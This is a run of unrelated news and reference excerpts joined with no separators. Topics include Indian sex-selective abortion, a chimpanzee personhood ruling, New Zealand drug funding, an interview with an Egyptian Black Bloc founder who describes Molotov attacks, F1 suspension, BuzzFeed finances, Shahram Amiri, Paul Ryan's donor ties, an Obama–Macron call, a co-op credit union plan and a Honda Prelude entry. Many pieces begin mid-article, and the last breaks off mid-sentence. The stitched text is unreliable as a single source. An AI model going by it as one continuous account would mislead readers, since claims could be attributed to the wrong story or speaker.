India outlawed gender selection and selective abortion in 1994, but the practice still continues.
British medical journal Lancet says 10 million female foetuses have been aborted in India in the past 20 years.
Under the new scheme, poor families in seven Indian states will be paid cash at the birth of a daughter and again at different stages throughout her childhood up to the age of 18 years.
'Not poor alone'
India's Women and Child Development Minister Renuka Choudhury said she hoped the scheme would encourage families to look upon girls as an asset rather than a liability.
One women's rights activist welcomed the scheme, but said it was not just the poor who should be targeted.
FACTS AND FIGURES Female infanticide occurs in 80% of states Worst-affected states include wealthiest areas 927 girls born for every 1,000 boys Infant mortality rate: 60/1,000 Source: Unicef
"The problem of sex selective abortion is mostly with those who are above the poverty line," said Vijayalaxmi Nanda.
"I think it is the urban, the middle class, the prosperous who are doing so.
"The pressures are myriad ... a kind of cultural preference, like dowry, like female right to inheritance, to land, to property and to other things. These are the basic areas that need to be looked at," Ms Nanda said.
Female foeticide is a particular problem in the wealthy northern state of Punjab - where just 793 girls are born for every 1000 boys.
The judge struck out the writ of habeas corpus
A spokesperson for the court told Science that Jaffe had intended to grant a hearing to discuss the issues raised by the Nonhuman Rights Project, an animal advocacy group, but had mistakenly labeled the court order as a writ of habeas corpus. The Nonhuman Rights Project has raised several cases against institutions and individuals holding chimpanzees in captivity, arguing that the animals are intelligent and emotionally complex enough to be treated legally as people. Three lower judges had thrown the cases out, but Jaffe's ruling on Monday appeared to treat two chimpanzees held by the State University of New York at Stony Brook legally as people — a stepping stone in the group's fight to free the apes and curb the detention of intelligent animals.
In recent days, the campaign to have the government fund Keytruda has stepped up again. A petition was yesterday delivered to parliament , with 11,000 signatures, from 11,000 very concerned people. They are totally justified to be concerned. For a small number of people, this is a very worrying case. There is no doubt we need better treatments for people with late-stage melanoma, and that clinicians, pharmacologists, and drug companies the world over are working on this every day. However, the way the story has been reported has at times left a lot to be desired, both medically and politically.
Keytruda is the market name of Pembrolizumab, a monoclonal antibody that targets the PD-1 receptor. Monoclonal antibody drugs are all the rage at the moment. They are highly specific, and can be used to target very specific cellular processes within particular cell types. With most monoclonal antibody drugs, they will be very effective for a subset of people with a type of disease. This is the case with pembrolizumab, which is effective in around one out of three cases of melanoma. For those people, it can be very effective; for the remainder, it will have no effect at all. On the basis of the evidence available at the time, Pharmac decided that it wasn’t appropriate to fund the drug.
Last week, Checkpoint interviewed two people people with advanced melanoma for more than 10 minutes. We were told that the Minister of Health wasn’t available, which was disappointing. However, some more balance could have been achieved by talking to a specialist, whether they be a doctor or a cancer researcher. This didn’t happen. John Campbell said that a representative from Pharmac would be on the next day, and so they were. The representative responded to Campbell’s questions in pretty much the only way she could – by calmly, repeatedly telling JC that they were doing the only thing they could do, within the bounds of the legislation.
The Keytruda case is very similar to the Herceptin one in 2008; a monoclonal antibody drug that was funded by going around the Pharmac process. This was one of National’s campaign promises in the 2008 campaign, and I’d argue it was one of the single worst decisions that they have made in the health portfolio. In listening to the interview on Morning Report yesterday with the other JC, health minister Dr Jonathan Coleman, it seems that he agrees. The number of these very expensive, highly specific monoclonal antibody treatments is only going to increase. As our population lives longer, and has higher expectations of the health system, this pressure is going to keep increasing. Continual lobbying – from support groups, drug companies, and opportunistic political parties – will see the world-renowned Pharmac model undermined, possibly critically.
My doctoral thesis is looking at the molecular biology of endometrial cancer, so while it’s something I know a bit about, I’m not an expert on this. Do you know who is an expert? Pharmac. Instead of trying to tell people who know more about this what to do, we should be arguing for more funding for health, some of which will go to Pharmac. The health minister and the prime minister have indicated there will be a funding boost, and that a melanoma drug will be funded. This can only be good news, especially, of course, for those suffering from advanced form of the cancer. But the reality is, even if Pharmac did get another $30m or so, there is no guarantee that they would choose to fund Keytruda. They would go back to their team of experts, and decide how that money could best be spent, to increase the health outcomes for the most people.
"I've coached 47 years of my life," Coughlin told Peter King of The MMQB on Sunday night. "You take it away, and that's not an easy thing to duplicate."
Coughlin added that his "motor is starting to run again."
With OTAs set to kick off, it's not a surprise Coughlin is getting the football itch. The coach in him knows he should be on the field evaluating some undrafted rookie linebacker from Hudson Valley Community College who probably won't make the final 53.
Coughlin spent 12 years as head coach of the Giants after eight with the Jacksonville Jaguars.
Most NFL coaches have a short shelf life, meaning there will inevitably be jobs open in January. Given the respect Coughlin has within league circles and the NFL's tendency to recycle coaches with unending regularity, his name will definitely be brought up as a candidate for openings in 2017.
Coughlin understands, at his age, it will take some faith by an organization to give him another shot.
"We'll see," he said. "It'll take two to tango. The 70-year-old-man stuff will be a factor, and I'm sure they'll know this would be a three- or four-year thing. ... They'll have to know the guy. If I have an opportunity to speak to anyone (about a coaching job), they'll see what I'd be able to do for them."
“You don’t”, I reply, “but I have no interest in ratting you out to the intelligence services”.
This man, we’ll call him Mohamed, has good reason to be anxious. The small group of friends he belongs to form the core of the original Black Bloc, the mysterious group that first emerged on the streets of Cairo this January, when protesters commemorated the two-year anniversary of the Revolution.
Protesting against the Morsi regime, the Bloc openly declared they would not eschew violence to realise their goals. Indeed, the group has since been involved in several violent incidents, such as burning the Muslim Brotherhood headquarters in the Sixth October area, storming the media offices of “Brothers Online,” and torching the Freedom and Justice Party newspaper headquarters.
Using slogans such as, “Our mess prevents chaos” and, “We are confusion that prevents confusion”, their protests quickly prompted a violent crackdown on Black Bloc members. The prosecutor-general’s office asked citizens to arrest any person suspected of being a Bloc member, even if they did as little as merely wearing all black clothing.
A resulting manhunt saw citizens hand over activists to the security forces. Young Egyptian men, including some of Mohamed’s friends, were betrayed, or randomly arrested and detained on charges of “terrorist activities”. Since the removal of President Morsi, the newly installed military regime continues to target opposition protesters and conduct covert investigations into suspected Black Bloc members. To remain anonymous is therefore not only essential for the continuation of the group’s work, it is also crucial for its members’ personal safety.
Egypt’s Black Bloc grew out of their struggle for liberation from an authoritarian system, only after non-violent civil efforts had failed. While the group’s tactics originated out of a plan to protect women revolutionaries by forming a protective human shield around them at protests, the violence of the police and armed forces against peaceful protesters meant that the Bloc soon began to fight against the Morsi regime.
The first statement of the Black Bloc that outlined this mission was a video posted onYoutube. The clip, set to a loud and aggressive audio track, showed hooded and masked young men walking into Alexandria city-centre at night, waving an Egyptian flag and several black banners emblazoned with the international anarchy sign: the letter A in a circle. Their mission they declare in the video, is to “fight against the fascist regime of the Muslim Brotherhood and its armed militia”
Since Morsi was ousted, the Bloc has been fighting the military regime. The bloc’s goal has evolved to the “defence of the Revolution” against any dictatorial regime, be it military or religious. The Bloc’s members claim to have no affiliation with existing political parties and maintain that they have nothing against state institutions per se, “but against control by a particular system, the supremacy of a certain group.” They further contend that “the best thing is to hit the existing system and its economy by sabotaging the system’s institutions and not ones belonging to the public.
With a physical presence in more than eight cities across Egypt, and an increasingly stronger online profile, the Black Bloc is still growing in popularity. However, this growing presence poses a problem that is directly linked to the structural set-up of the group. While the Egyptian authorities are treating “the Black Bloc” as a singular, defined group, the reality is much more obscure.
As one member stated, the Black Bloc is “not a political group, but rather an idea that is not monopolized by anyone.” This secrecy and self-professed dispersed structure, in combination with the growing popularity of the Bloc’s goals and actions, has resulted in multiple Black Blocs mushrooming all over Egypt. There are several dozen Facebook pages claiming to represent the Black Bloc in Egypt, including ones for specific governorates and areas, like Black Bloc Upper Egypt, Black Bloc Cairo and Black Bloc Port Said. Moreover, a quick Google results in a multitude of video messages by activists, twitter feeds, and pages using the Black Bloc description and logos.
It seems that many of the activists are affiliated with the so-called Ultras, the hard-core fans of Cairo’s al-Ahly and Zamalek football clubs who are known for their radical politics and experience in fighting the police. However, while the Black Bloc activity is concentrated around these Ultras, it’s not limited to them, and certainly not all activists who’ve worn the balaclava or black hoodie are members of one of these football clubs.
“Religion is not important to us. Even if Egypt would become a Zionist state, it would not matter to us if it means that people are safe and have freedom and food and equality”
How closed or open the groups identifying as “Black Bloc” are in Egypt right now is thus unclear, making it difficult to determine the actual scope of the movement. Black Bloc members communicate mainly by online social media, and as their members’ identities are unknown and faces remain unseen, it is almost impossible to confirm the authenticity of those who claim to speak in its name. Moreover, due to the ever present threat of arrest, and their deep rooted suspicion of the media, the core Black Bloc members are hardly ever willing to give interviews, which only contributes to the mystery and confusion that surrounds the group.
When, after some asking around the proverbial grapevine I managed to track down Mohamed, who was one of the founders of the original Black Bloc core group, it quickly transpired that he and his fellow Bloc founders have actually distanced themselves from both the multiple Black Bloc groups and even the Black Bloc label itself. During our short interview, he explained who the real Black Bloc was, how it got infiltrated and turned sour, and what the future holds for those who made up the original group of protesters at the core of the former Bloc.
What was the reason you set up the Black Bloc?
“Our friend Gaber Saleh, also known as Jika, got killed during clashes with the police in Mohammed Mahmoud Street in November 2012. After he got killed our group of friends, who had all been in the front lines of the clashes got together, and we decided we wanted to fight back. We were also all active on Facebook, and we decided to set up our own group and fight against the regime. We participated in the clashes against the police, attacking them with Molotov cocktails, and we filmed it and put the videos online. This way, people got to know our group, even though we remained anonymous. The public started to support us and everybody was talking about us, but no one knew who we were. I remember even my own brother and mother talking about the Black Bloc, they had no idea I was involved.”
Who is the real Black Bloc?
“We are. But we don’t use that name anymore, we now remain nameless or at times go under the banner of Arab Anarchists. The name Black Bloc has now become associated with fake groups. After we had started the Black Bloc, our mission became very popular and a lot of other Black Bloc pages started to appear online and we didn’t know who was behind them. People started to appear in the streets and on the (Tahrir) square during the clashes, and we didn’t know who they were. Then the media started talking about the Black Bloc, but in reality they referred to these other people, and they were never part of the real Black Bloc. We have always managed to stay anonymous. These people were forming a fake Black Bloc, and during the fight against the Muslim Brotherhood, they started working together with some army people. These army agents convinced these protesters that the army was on their side and would support them in their fight against the Muslim Brotherhood. They gave them weapons to attack the Muslim Brotherhood. For example, these fake Black Bloc members were involved in the Rabbaa clashes (the notorious July clashes near the Rabaa Al-Adaweya Mosque, between pro-Morsi supporters and government security forces). They worked together with the security forces in the clashes against the Morsi supporters. After a while, these fake Black Bloc members even started negotiating with the head of police and the Minister of Interior, and they agreed to work together against the Muslim Brotherhood. Even friends of mine were involved in this, they said that now the army and police were on their side and that they would give us justice. They were traitors to the revolution and traitors to our friends who died. They forgot about everything we fought for. So we, the core of the real Black Bloc felt betrayed, and we warned people against this deal with the police. This made the rival ‘Black Blocs’ very angry and they now consider us to be the enemy. This is why we decided to drop the name ‘Black Bloc’ because we needed to distance ourselves from these fake people.”
What was the background of these first Black Bloc founders?
“The people who created the original Black Bloc come from different walks of life, different cultures and faiths, but we share the same ideas about the revolution.”
What does that idea entail?
“We have to fight to the death. We are no better than our friends who got killed, and we are prepared to face the angel of death. We are ready to die for the revolution and for the blood of the martyrs, our friends. They were killed in the fight for our freedom. It is a good cause to die for. When we started the revolution our goal was to get freedom, justice, bread for the people, fundamental rights for everyone and equality for each. After we failed to get justice and the revolution was stolen from us and after lots of our friends died, now our primary goal is justice for the blood of the martyrs. We have to revenge our friends. That comes before the freedom, the equality and the bread.”
What would you like to see happen in Egypt, what is your vision?
“It doesn’t matter if the state is religious or not, basic human rights like food, freedom, healthcare and education is what matters. Everybody should be free to believe what they want, not be forced into a specific religion. Religion is not important to us. Even if Egypt would become a Zionist state, it would not matter to us if it means that people are safe and have freedom and food and equality. If Egypt would be a secular state, and this state would give my kids food and education, equality and healthcare and peace, we would be ok with that as well. We want a state that is a product of the revolution, where everybody can be free, not a secret, repressive state, but a state that provides a better future.”
Who are your enemies now?
“Our enemies are not just the Muslim Brotherhood. Before the Muslim Brothers, it was the Supreme Council of Armed Forces, who took over after Mubarak was toppled. Then Morsi became President, and the Muslim Brothers became our enemy because there was still no justice. After the Muslim Brotherhood was ousted, it was unbelievable but SCAF came back, and now they are our enemy again.”
What are your plans as a group now, what does the future hold for you?
“We, the real core of the former Black Bloc are now laying low because the current battle is between the army and police on the one hand and the Muslim Brotherhood on the other. They are now fighting amongst themselves who will rule the country. Only the fake Black Bloc, those who are collaborating with the army and police and intelligence agencies are still fighting. The Black Bloc you see on television and in the media now is the fake Black Bloc. We are now resting and preparing for our comeback, which will take place during the upcoming anniversary of the Mohamed Mahmoud clashes on 19 November. Then we will start to show both the Muslim Brotherhood and the army that we are still alive and that we are back. We will stay nameless and anonymous.”
And while there were already hints from the launch pictures about an aggressive suspension solution, it was only when the new car hit the track at Barcelona on Monday that such concepts have been confirmed.
As Giorgio Piola's exclusive photograph below shows, McLaren has been very bold with its front suspension design - with the upper rear arm much lower than is normal.
McLaren MP4-31 detail Photo by: Giorgio Piola
It was interesting too that the team had fitted additional sensors on both of the rear arms of the wishbones to help monitor data from this area during the first day of testing.
Suspension thinking
Rather than an assimilation of the conjoined lower wishbone (see below), pioneered by Mercedes in 2014 and adopted elsewhere, we can see that McLaren is thinking independently.
Mercedes AMG F1 Team W07 detail Photo by: Giorgio Piola
The front suspension can have a marked effect on how the airflow moves down and around the rest of the car and so the teams have to carefully plan its layout, as it is exceptionally difficult to change once designed.
McLaren is clearly searching for previously untapped aerodynamic performance, with the rear profile of each of the wishbone arms placed virtually on top of one another.
The upper of the two is slung lower than usual, meaning it should work in unison to pull the airflow down and around the sidepod, rather into or over it.
These early tests, with the sensors placed on the wishbones, are used to correlate the on track data with what the team expected when the car was tested both kinematically and aerodynamically in CFD, the wind tunnel and on the seven-post shaker rig.
Red Bull push
The pitlane launch of the 2016 Red Bull challenger, amongst a frenzy of other machines, means a more detailed analysis of it will follow later.
However, one area of interest, like the McLaren, is the front suspension. It has converged on the idea of conjoining the lower wishbone element but, as is usual for Red Bull, it has taken it to extremes, with only a small opening now available at the inboard sections.
Of course this is done for its aerodynamic purposes with the large surface area allowing a smoother transition of the airflow.
Red Bull Racing RB12 detail Photo by: XPB Images
Whilst the wishbone wedge is already fairly substantial (highlighted in yellow) it has also continued to utilise a rearward extension (highlighted in green), as was in use on the RB11.
This will further shape the airflow, improving performance downstream.
Red Bull isn't the only team to have converged on the use of the conjoined wishbone solution, with the sister team Toro Rosso and Haas implementing it too.
BuzzFeed was shooting to bring in $350 million revenue this year. Unnamed sources told the Journal that the actual results could be 15% or even 20% below that target.
BuzzFeed didn’t dispute the report in a statement sent to Variety, but instead said it was growing key metrics this year:
“BuzzFeed grew revenue, content views, unique visitors, and time spent in 2017; we’ve expanded our ad offering with new products and programmatic, and rapidly diversified revenue through commerce, licensing, and development for TV and film. With a strong, growing portfolio of brands in BuzzFeed, BuzzFeed News, Tasty, Nifty and more, we have greater audience reach and a more diversified business than ever, and are very well-positioned heading into 2018.”
BuzzFeed’s $350 million target for this year is thought to have been 35% above its 2016 revenue. The companyt has seen some rapid expansion, and has been doubling down on video with franchises like Tasty and Nifty. BuzzFeed also launched an e-commerce unit called the BuzzFeed Product Lab in late 2016, and began selling a smart appliance dubbed the Tasty One Top this summer.
Related BuzzFeed Taps WNBC's David Hatcher as Executive Producer of 'AM to DM' Talk Show on Twitter BuzzFeed CEO Jonah Peretti Relents on PTO Pay for Laid-Off Staffers
The flip side: All of these efforts have led to increased spending, which has worried board members, according to the Journal.
BuzzFeed’s financial health, as well as the possibility of an IPO, have long been a cause for speculation among media watchers. Back in 2015, reports suggested that BuzzFeed slashed its revenue goal for that year from $500 million to $250 million — numbers that the company disputed.
CEO Jonah Peretti stopped short of outlining IPO plans in an interview with Variety earlier this year, and instead said that going public was “one possible path” for the company.
On November 5, 1995, a gamer called CJayC created the Video Game FAQ Archive. Later known as GameFAQs, the site was a hub for video game walkthroughs and FAQs, and later cheats, savegames, screenshots and so on. And that’s what it is today, only it’s a lot bigger than it used to be.
While GameFAQs did lose some traffic to the spread of gaming fan wikis and YouTube playthroughs, its collection of guides for older/more obscure games is still very helpful, like when you, say, buy something off of GOG and get stuck. Or dust off your old SNES to play an RPG... and get stuck.
Plus, there’s a certain nostalgic charm to those plain-text, ASCII art-adorned walkthroughs.
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For example, I used this walkthrough for Albion just last month. Love that mid-90s feel.
GameFAQs itself is celebrating the anniversary by running its third Best. Game. Ever. contest where, from a pool of 128 games, one will be chosen to be the site’s most popular through a series of voting battles. If you wanna take part in the voting, or just look at the results, you can do so here.
The ASCII for top pic were made using Jörg Seyfferth’s ASCII generator.
When asked what bothers them about the tax system, 64 percent of people surveyed were bothered “a lot” by feeling that corporations aren't pulling their weight. Sixty-one percent had the same concern about the feeling that some wealthy people don’t pay enough. In contrast, only 27 percent had the same concerns about the amount of taxes they themselves pay, and even fewer (20 percent) were bothered “a lot” by the feeling that some poor people don’t pay their fair share.
Overall, Pew found that attitudes about some aspects of the tax system have remained largely unchanged—about half of Americans (53 percent) feel they pay “about the right amount” in taxes, while 40 percent feel they pay more than their fair share. But when you break down tax attitudes by party, they have shifted substantially. In 2011, 37 percent of Republicans and 38 percent of Democrats felt they paid more than their fair share of taxes. Today, that number has risen to 50 percent for Republicans and fallen to 30 percent of Democrats.
When it came to perceptions of tax fairness, the results varied substantially by race. Fifty-three percent of whites surveyed felt the present tax system is unfair, compared to 35 percent of Hispanics and 38 percent of blacks.
State-run Press TV said Wednesday that Amiri spoke in an interview after his escape, telling the channel, "I think I will be unable to get into details during this limited period of time and I will postpone it to when I am hopefully in my dear country Iran, so I can speak to the media and my own people with ease of mind and tell them about my ordeal over the past 14 months."
Amiri has left the United States and is headed back to Iran, the country's state-run media said Wednesday morning.
"Following the Islamic Republic's efforts and with the effective cooperation of the embassy of Pakistan in Washington ... Shahram Amiri left the United States and will arrive in Tehran via a third country," the news agency, IRNA, reported -- quoting a foreign ministry spokesman.
Amiri, who is a researcher from Tehran's Malek Ashtar University, mysteriously disappeared in June 2009 while on a religious pilgrimage to Saudi Arabia, according to Iranian media reports.
On Monday, Amiri went to Iran's Interest Section at the Pakistani Embassy in Washington and asked to be sent home.
The Iranian government has accused the United States of involvement in Amiri's disappearance, with Iran saying the researcher was taken to force him to give up data about Tehran's nuclear program.
In the Press TV interview, Amiri said he was kidnapped in Medina, Saudi Arabia, by three men in a van.
"Once I got into the van, the man who was inside said to me, 'Don't make any noise.' I was confused at the moment and had no idea what was happening," Amiri said Wednesday.
According to Amiri, he was later drugged and transported to the United States in a plane.
"I was under very special circumstances for 14 months in the United States. I was not completely free, nor was I like a prisoner, that is, in shackles as viewers might think," Amiri added. "I was in a completely unique situation which is very difficult to describe."
Press TV reported that Amiri was offered $10 million in bribes to cooperate with the United States.
A top Iranian lawmaker recently claimed that newly found documents back up Tehran's claims that the CIA is responsible for Amiri's disappearance, Iranian media reported Sunday.
Javad Jahangirzadeh, a member of Iranian parliament's National Security and Foreign Policy Commission, said Iranian officials had turned over the documents to the Swiss ambassador in Tehran.
The U.S. State Department has denied that charge.
A U.S. official, who is not authorized to talk to the media about such issues, told CNN last month that it would be "ludicrous, absurd and even preposterous" to claim an individual was kidnapped by the United States and held against his will.
Last month, two videos surfaced on the Internet of a man claiming to Amiri, in which he said he had escaped from U.S. agents and was hiding in Virginia.
That was the third time that videos allegedly showing Amiri had been circulated on the Internet.
In one, he said he had been kidnapped by U.S. agents. Another contradicted that claim and said he was living freely and studying in Arizona.
In one of the videos posted June 30 on YouTube and dated June 14, the man again said that he was brought against his will to the United States and fears he will be discovered and re-arrested.
"I am Shahram Amiri, the son of the Islamic Republic of Iran, who with God's help succeeded in running away from the U.S. security agents in the state of Virginia. I am [temporarily] at a safe place and I am trying to do this video but it is quite possible that I may shortly be again arrested by American security agents."
He went on to say: "I am not free here and not allowed to contact my family or other people. If I face any problems or if I do not return to my country soon, the government of the U.S. would be directly responsible for it."
CNN could not independently verify the authenticity of the videos, nor the identity of the man in them.
"If he is who people think he is, the U.S. would be in contact with the person," a CIA official said last month. And if he were being held against his will, "how would he have been able to produce any of the videos?" the official said.
In the second video that surfaced June 30 and dated June 23, the man claiming to be Amiri reassures his family about his well-being.
"I want to let my beloved family know that I am OK and they should not worry about my health," he says. "With God's help I shall return to my beloved country in the next few days. I want them to be, as always, strong and patient and to pray for my safe return. I hope to see you in our beloved country."
Tehran blamed Washington for Amiri's disappearance shortly after revelations surfaced that Iran has been building a second uranium enrichment facility near the city of Qom. After that, tensions over Iran's nuclear program mounted.
Iran claims its nuclear energy is solely for civilian purposes. But the United States has pushed the United Nations to punish Tehran for its nuclear ambitions. The Security Council recently slapped a fourth round of tough sanctions on the Islamic republic.
It is unclear how much information Amiri was privy to in Iran.
Now Mr. Ryan could provide Mr. Romney with a critical political and intellectual bridge to the rising conservative counterestablishment represented by the Kochs and their allies, who are planning to spend hundreds of millions of dollars and deploy thousands of volunteers to defeat Mr. Obama. Should Mr. Romney and Mr. Ryan win in November, a constituency that has for years fulminated against the failure of Republicans to live up to their own principles could soon have a close — and powerful — friend in the White House.
“There’s three guys that we courted for president: Paul Ryan, Mitch Daniels, and Mike Pence,” said Matt Kibbe, the president of FreedomWorks, a national advocacy group closely allied with the Tea Party, who worked alongside Mr. Ryan when both were staff aides on the House Budget Committee. “Up until yesterday, there was a 100 percent commitment to fire Obama. There was not a lot of enthusiasm about Romney.” Mr. Daniels is the governor of Indiana, and Mr. Pence is a congressman from Indiana.
Mr. Kibbe added, “From a Tea Party perspective, the overwhelming response on all of our networks has been extremely positive.”
Mr. Ryan’s ties to that world began with a job at Empower America, a group founded by Mr. Kemp that ran “candidate schools” for aspiring conservatives and advocated for a flat tax and lower spending. As a rank-and-file congressman during the presidency of George W. Bush, Mr. Ryan advocated for the privatization of Social Security, helping push the idea toward the Republican mainstream and cementing his reputation as a conservative intellectual.
Privately, Mr. Ryan would later say, he was also stewing over what he and other conservatives viewed as the Bush administration’s fiscal profligacy and ideological drift, including the addition of a drug benefit to Medicare and, later, a bank bailout plan, the Troubled Asset Relief Program. (Mr. Ryan voted for both.)
That dissatisfaction was shared by the Kochs, who in the middle of the last decade began organizing conferences of like-minded donors and founded Americans for Prosperity.
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Mr. Ryan, who became House budget chairman in 2006, began attending and speaking at Americans for Prosperity events. In 2008, the Wisconsin chapter gave Mr. Ryan its annual “Defender of the American Dream” award. Mr. Ryan also began attending the Kochs’ annual donor seminars. Last spring, Mr. Ryan was a speaker at a “Hands Off My Health Care” rally organized by Tea Party leaders outside the Capitol, drawing enthusiastic applause.
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In Congress, he emerged as a skeptic of mainstream climate change theory — opposition to which has been a top priority of Koch-affiliated activists and research groups — and a reliable vote against energy efficiency standards, including a House vote to prohibit the Environmental Protection Agency from regulating greenhouse gases.
The relationship helped Mr. Ryan’s campaign coffers as well as his career: the Koch Industries PAC has donated more than $100,000 to Mr. Ryan’s campaigns and his leadership PAC, more than has any other corporate PAC, according to a New York Times analysis of campaign records.
Mr. Ryan has also developed relationships with other people in the Koch orbit, like Mr. Asness, a libertarian-minded financier known for his open letters blasting Mr. Obama, and Kenneth Griffin, a Chicago hedge-fund executive: wealthy donors whose taste for number-crunching and policy minutiae match Mr. Ryan’s own.
Mr. Griffin and his wife, Anne, introduced Mr. Ryan to Chicago’s deep-pocketed Republican donor circle — he has raised more money there this campaign than any other city — and promoted his budget proposals, including arranging a speech last year at the Economic Club of Chicago.
But it was Mr. Ryan’s aggressive promotion of his budget plan that has cemented his place the counterestablishment’s rising star. Mr. Ryan’s plan, viewed warily in its early form by other Republican leaders on the Hill, became an organizing document for the Tea Party’s Beltway wing, particularly the dozens of Tea Party-inspired freshman lawmakers who arrived on Capitol Hill after the 2010 elections. Many of them came to rely on Mr. Ryan for counsel on whether to accept budget compromises with Mr. Obama.
Outside political groups and research organizations praised Mr. Ryan’s plan, one of the few comprehensive conservative budget proposals detailed enough to be scored by the Congressional Budget Office, as rigorous and credible.
“Paul was one of the first guys that we looked at and said, ‘Hey, that young guy could be the guy,’ ” said Tim Phillips, Americans for Prosperity’s president. “And when he put out the budget and defended it, that’s when they said, ‘He could go all the way.’ ”
Officials with several outside groups that had been skeptical of Mr. Romney in the past said that the selection of Mr. Ryan had assuaged some of their doubts.
More important, they said, Mr. Ryan would fire up their grass-roots members, some of whom had doubted Mr. Romney’s commitment to cutting the size of government. Last week, before the announcement, Americans for Prosperity announced that it had begun its largest ever ad campaign against Mr. Obama, a $25 million broadside in 11 battleground states.
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Former President Barack Obama gently waded back into international politics on Thursday, talking by phone with French presidential candidate Emmanuel Macron.
Macron is the center-left candidate, and the leading contender to stop far-right Marine Le Pen from winning in either Sunday's first round or the subsequent runoff.
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Obama spokesman Kevin Lewis said "an endorsement was not the purpose of the call, as President Obama is not making any formal endorsement."
A source familiar said that Macron had sought the call. He's hoping to preserve France's pro-European Union bent, in line with Obama's vision of global politics — and opposed to President Donald Trump's. Le Pen had meetings in Trump Tower during the transition and has since traveled to Moscow to meet with Vladimir Putin.
"President Obama appreciated the opportunity to hear from Mr. Macron about his campaign and the important upcoming presidential election in France, a country that President Obama remains deeply committed to as a close ally of the United States, and as a leader on behalf of liberal values in Europe and around the world," Lewis said.
Macron released video of his side of the call in a tweet reading in English, “Let’s keep defending our progressive values. Thank you for this discussion@BarackObama.”
“The main message I have is to wish you all the best in the coming days, and make sure, as you said, you work hard all the way through—because you never know, it might be that last day of campaigning that makes all the difference,” Obama told him.
Macron, clearly excited about getting to have the call, quickly responds. “I will do my best, believe me. So I will fight to the last minute, and we will keep in touch, and our teams will realize and organize a new contact and see how to work together if I’m getting to the run-off," he said.
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Obama remains popular in Europe, but he's yet to demonstrate any transferability of that into electoral wins, including when he came out heavily against Brexit in advance of last year's vote, at the urging of then-Prime Minister David Cameron. Last November, traveling in Berlin the week after Trump won, Obama was asked whether he'd back Chancellor Angela Merkel in her own reelection this fall, and he said he'd support her.
“If I were here and I were German, and I had a vote, I might support her,” Obama said then. “But I don’t know whether that hurts or helps.”
In order to compete in a corporations-dominated economy, worker cooperatives need millions of dollars to finance large-scale businesses in manufacturing and production.
"That's the hole in the cooperative movement which there needs to be some infrastructure for," said Michael Leung, of Somerville, MA, who last year earned a doctorate in Physics from Princeton University. "I don't personally see a way where co-ops have the mechanism for large-scale growth."
One strategy to make this happen: A large "participatory" credit union that would provide loans to start and to expand worker-owned, democratically run co-ops. "My main interest is industry and production," he said.
In this sense, "participatory" means the members would make policy and decisions, such as the participatory budgeting that started in Brazil 10 years ago, where community members decide how local government spends tax money. The movement spread to Argentina, Venezuela and elsewhere in Latin America, as well as London and even places like the Twin Oaks Community near Louisa, VA. It has resulted in many innovative initiatives that take care of citizen needs.
"As far as I know, the cooperative is the most effective way to fight corporate power," said Leung. Capitalists "can't make money off of co-ops because of the democratic structure,"he said. Leung has no prior experience organizing a credit union, but is undeterred because he is confident that people with the skills and experience will be recruited. His hope is that if workers find they can have democracy at work, then they will also see they can have democracy in their government.
Leung has a passion for human rights, but believes the U.S.'s role as a major culprit in human rights abuses across the planet stem from its struggle to maintain economic hegemony in the world. The best way to meet the basic needs of the majority of the world's people - clean water and food, literacy, health care and housing - is to build local economic power. Leung argues that the goal in the U.S. is to build a national economic infrastructure rooted in worker-owned and -managed cooperatives.
But as Leung sees it, starting cooperatives is not feasible for the working class. This is because the vast majority of workers generally do not have the financial resources to put into starting the kind of businesses that can compete effectively with large corporations, and also because of corporations' undue influence over the lives of most people in society.
What's needed, Leung believes, is a financial institution whose sole aim is to serve the cause of worker cooperative movement. According to Leung, the goals of the participatory credit union would be to:
Produce empowering, well-paying jobs in democratic workplaces by
providing loans to start cooperatives;
Operate with a high degree of democratic management with
member involvement in both policy formation and decisions;
Provide all members with training in self-management, finance, large-
scale economic coordination, participatory economics, workplace
democracy and specialized skills;
Provide cooperative employment opportunities in all sectors of economy;
Build the capacity to offer employment to seven million unemployed, and
tens of millions of low wage or underemployed workers below the poverty
line;
Build skills, self-confidence, and a sense of personal responsibility
among the working class;
Remove/reduce the influence of owners, managers, and the coordinator class by giving democratic decision-making powers to all workers.
Leung estimates that it will take at least $300,000 to organize a full service credit union with the same services as a traditional bank. This estimate, based on information from the National Credit Union Administration, includes operating costs for several months, computer equipment, consulting fees and office space, he said.
Leung has begun talks with several of the existing co-op loan funds: ICA/Local Enterprise Assistance Fund in Boston, the Cooperative Fund of New England, the North Country Co-op Development Fund and the North County Cooperative Federal Credit Union in Minneapolis, as well as Ownership Associates in Cambridge. He is looking for background information and experience about what has been tried, and hopes to find many people interested in the project.
He said he has also approached the United States Federation of Worker Cooperatives, the newly founded trade association for worker cooperatives and other employee-owned businesses. Cooperatives may share the "common bond" that is required to organize a credit union. A common bond is a factor such as membership association, geography, or company affiliation that credit union members must have in common.
Organizing the credit union is expected to be no easy task. Obstacles include raising $300,000 for the chartering costs, assembling a team with banking expertise to found the credit union and recruiting 3,000 credit union charter members. Once founded, "the credit union [will also need] people with expertise to find areas (industries) where co-ops can succeed," Leung said. "I see this as a very long term project."
Overview Production 1978–1982 Designer Shinya Iwakura, Hiroshi Kizawa (1978) Powertrain Engine 1,602 cc EL 8-valve I4
1,751 cc EK CVCC 12-valve I4 Transmission 2-speed automatic
3-speed automatic
5-speed manual Dimensions Wheelbase 2,320 mm (91.3 in) Length 4,090 mm (161.0 in) Width 1,635 mm (64.4 in) Height 1,290 mm (50.8 in) Curb weight 900 kg (1,980 lb) On November 24, 1978, the Prelude was launched to the Japanese market.[1] It had its world premier at the 1979 AutoRAI in Amsterdam, two months later.[2] In Japan it was only available at the newly established dealership sales channel Honda Verno. This dealership chain also introduced the Honda Quint, the Honda Ballade and the Accord-based Honda Vigor as its largest sedan and hatchback. The four-wheel independent struts, brakes, and engine were all borrowed from the first generation Accord, but the chassis was all new and developed by chief engineer Hiroshi Kizawa expressly for the sporting Prelude.[3] At 4,090 mm (length) x 1,635 mm (width) x 1,290 mm (height), it had quite a low and wide profile. The wheelbase was 2,320 mm, and was 60 mm shorter than that of the original Accord.[4] Honda appears to have followed the successful introduction of the Toyota Celica example by taking a small car, like the Accord, installing a more powerful engine, and giving the body a short trunk, and a long engine hood. The Prelude (and period Accord) were the first cars under two liters to receive standard power steering.[5] The Prelude also benefited from Honda's experience with roadsters like the Honda S800 and Coupe 1300. The Prelude was the first Honda model to offer a power moonroof as standard equipment, which eventually became a Prelude trademark. In Japan, the Prelude was available with a sliding metal sunroof, while US versions received a glass top which freed up more headroom.[3] Japanese buyers were liable for 